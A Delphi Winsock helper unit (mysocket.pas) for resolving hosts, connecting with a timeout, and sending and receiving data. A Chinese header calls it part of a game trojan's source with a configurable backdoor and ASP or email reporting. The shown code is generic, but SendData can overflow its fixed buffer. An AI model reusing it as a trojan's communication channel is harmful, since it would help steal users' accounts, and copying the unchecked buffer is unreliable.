mysocket.pas

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

unit MySocket;

interface
uses
  WinSock,Windows;
function GetIpbyHost(Host: string): string;
function GetMyIP: string;
function  StartNet(host: string; port: integer; var FSocket: integer): Boolean;
procedure StopNet(Fsocket: integer);
function  SendData(FSocket: integer; SendStr: string): integer;
function GetData(FSocket: integer): string;
implementation
uses
 MySysUtils;

function GetMyIP: string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  I: Integer;
//  GInitData: TWSADATA;
begin
 // WSAStartup($101, GInitData);
  Result := '';      
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do begin
    if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
    Inc(I);
  end;
//  WSACleanup;
end;
function GetIpbyHost(Host: string): string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  i: Integer;
//  GInitData: TWSADATA;
begin
//  WSAStartup($0101, GInitData);
  Result := '';

  phe := GetHostByName(pchar(Host));
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do
  begin
    if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
    Inc(I);
  end;

//  WSACleanup;
end;
function StartNet(host: string; port: integer; var FSocket: integer): Boolean;
var
  SockAddrIn: TSockAddrIn;
  t: linger;

  timeout:timeval;
  r:TFDSet;
  iTimeOut:integer;
  ul,ul1:LongInt;
  ret:integer;
begin
  Result:=False;
  FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
  if FSocket = invalid_socket then exit;

  t.l_onoff := 1;
  t.l_linger := 0;
  setsockopt(FSocket, SOL_SOCKET, SO_LINGER, @t, sizeof(t)); {关闭Socket后立刻释放资源}

  {
   把CSDN与中文yahoo翻了底朝天，也没找到如何设置socket的连接超时的满意方法，
   问此问题的兄弟已有一大堆，这里偶就讲一下win下如何设置socket的connect超时。
   设置connect的超时很简单，CSDN上也有人提到过使用select，但却没有一个令人满
   意与完整的答案。偶所讲的也正是select函数，此函数集成在winsock1.1中，简单点
   讲，"作用使那些想避免在套接字调用过程中被锁定的应用程序，采取一种有序的方式，
   同时对多个套接字进行管理"(《Windows网络编程技术》原话)。使用方法与解释请见
   《Windows网络编程技术》。 在使用此函数前，需先将socket设置为非锁定模式，这样，
   在connect时，才会立马跳过，同时，通常也会产生一个WSAEWOULDBLOCK错误，这个错误
   没关系。再执行select则是真正的超时
  }
  //set Recv and Send time out
  iTimeOut:=6000; //设置发送超时6秒
  if(setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@iTimeOut,sizeof(TimeOut))=SOCKET_ERROR) then Exit;
  iTimeOut:=6000;//设置接收超时6秒
  if(setsockopt(FSocket,SOL_SOCKET,SO_RCVTIMEO,@iTimeOut,sizeof(TimeOut))=SOCKET_ERROR) then Exit;

  //设置非阻塞方式连接
  ul := 1;
  ret := ioctlsocket(FSocket, FIONBIO, ul);
  if(ret=SOCKET_ERROR) then Exit;

  //连接
  SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
  SockAddrIn.sin_family := PF_INET;
  SockAddrIn.sin_port := htons(port);
  ret:= connect(FSocket, SockAddrIn, SizeOf(SockAddrIn));//=0;

  //select 模型，即设置超时
   FD_ZERO(r);
   FD_SET(FSocket, r);
   timeout.tv_sec := 3; //连接超时15秒
   timeout.tv_usec :=0;
   ret := select(0, nil, @r, nil, @timeout);
   if ( ret <= 0 ) then
   begin
    closesocket(FSocket);
    Exit;
   end;
//一般非锁定模式套接比较难控制，可以根据实际情况考虑 再设回阻塞模式
  ul1:= 0 ;
  ret := ioctlsocket(FSocket, FIONBIO, ul1);
if(ret=SOCKET_ERROR)then
   begin
    closesocket(FSocket);
    Exit;
   end;
  Result:=True; 
end;

procedure StopNet(Fsocket: integer);
//var
//  err: integer;
begin
  //err :=
  closesocket(FSocket);
  //err :=
end;

function SendData(FSocket: integer; SendStr: string): integer;
var
  DataBuf: array[0..4096] of char;
  err: integer;
begin
  strcopy(DataBuf, pchar(SendStr));
  err := send(FSocket, DataBuf, strlen(DataBuf), MSG_DONTROUTE);
  Result := err;
end;

function GetData(FSocket: integer): string;
const
  MaxSize = 1024;
var
  DataBuf: array[0..MaxSize-1] of char;
  S:string;
  iRet:integer;
  //err: integer;
begin
  //err :=
  S:='';
  repeat
  FillChar( DataBuf, MaxSize,#0);
  iRet:=recv(FSocket, DataBuf, MaxSize, 0);
  S:=S+Strpas(DataBuf);
  until iRet<=0;
  Result :=S;// Strpas(DataBuf);
end;
var
Re:integer;
Wsa:TWSAData;
initialization
Re := WSAStartup($101, Wsa); //初始化Wsock32.dll,MakeWord(2,2),
if Re<>0 then Halt;
finalization
WSACleanUp;
end.